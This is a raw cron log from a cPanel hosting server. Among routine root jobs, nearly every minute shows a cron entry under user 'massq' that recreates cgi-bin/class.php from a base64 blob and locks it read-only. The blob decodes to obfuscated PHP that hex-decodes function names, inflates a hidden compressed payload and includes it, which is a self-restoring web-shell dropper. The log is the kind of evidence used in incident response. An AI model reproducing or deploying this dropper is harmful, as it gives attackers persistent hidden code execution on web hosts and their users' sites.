Sep 10 19:21:01 server CROND[17510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:22:01 server CROND[17993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:22:01 server CROND[17994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:22:01 server CROND[17995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:23:01 server CROND[18377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:23:01 server CROND[18378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:23:01 server CROND[18379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:24:01 server CROND[18811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:24:01 server CROND[18812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:24:01 server CROND[18813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:25:01 server CROND[19215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:25:01 server CROND[19217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:25:01 server CROND[19219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:25:01 server CROND[19223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:25:01 server CROND[19221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:25:01 server CROND[19222]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:25:01 server CROND[19220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:26:01 server CROND[20053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:26:01 server CROND[20055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:26:01 server CROND[20054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:27:01 server CROND[20530]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:27:01 server CROND[20531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:27:01 server CROND[20532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:27:01 server CROND[20533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:28:01 server CROND[20910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:28:01 server CROND[20911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:28:01 server CROND[20912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:29:01 server CROND[21286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:29:01 server CROND[21287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:29:01 server CROND[21288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:30:01 server CROND[21824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:30:01 server CROND[21827]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:30:01 server CROND[21829]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:30:01 server CROND[21834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:30:01 server CROND[21831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:30:01 server CROND[21838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:30:01 server CROND[21833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:30:01 server CROND[21830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:31:01 server CROND[22647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:31:01 server CROND[22648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:31:01 server CROND[22649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:32:01 server CROND[23299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:32:01 server CROND[23300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:32:01 server CROND[23298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:33:01 server CROND[23701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:33:01 server CROND[23702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:33:01 server CROND[23703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:34:01 server CROND[24082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
